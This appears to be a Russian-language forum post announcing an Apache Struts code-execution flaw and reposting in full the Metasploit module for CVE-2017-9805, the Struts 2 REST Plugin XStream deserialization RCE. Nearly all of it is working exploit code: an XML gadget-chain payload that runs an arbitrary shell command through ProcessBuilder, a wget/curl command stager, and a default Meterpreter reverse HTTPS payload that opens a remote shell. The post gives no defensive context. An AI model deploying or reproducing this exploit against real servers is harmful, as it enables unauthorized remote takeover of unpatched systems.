Apache Struts снова с уязвимостью выполнения произвольного кода!
Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
'Description' => %q{
The REST Plugin is using a XStreamHandler with an instance of XStream
for deserialization without any type filtering and this can lead to
Remote Code Execution when deserializing XML payloads.
},
'Author' => [
'Man Yue Mo', # Vuln
'caiqiiqi', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2017-9805'],
['URL', 'https://struts.apache.org/docs/s2-052.html'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
['URL', 'http://blog.csdn.net/caiqiiqi/article/details/77861477']
],
'DisclosureDate' => 'Sep 5 2017',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Apache Struts 2.5 - 2.5.12', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => ['wget', 'curl']
))
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to Struts app', '/struts2-rest-showcase/orders/3'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
if res && res.code == 200
CheckCode::Detected
else
CheckCode::Safe
end
end
def exploit
execute_cmdstager
end
def execute_command(cmd, opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'ctype' => 'application/xml',
'data' => xml_payload(cmd)
)
end
def xml_payload(cmd)
# xmllint --format
<<EOF
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string>#{cmd}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
EOF
end
end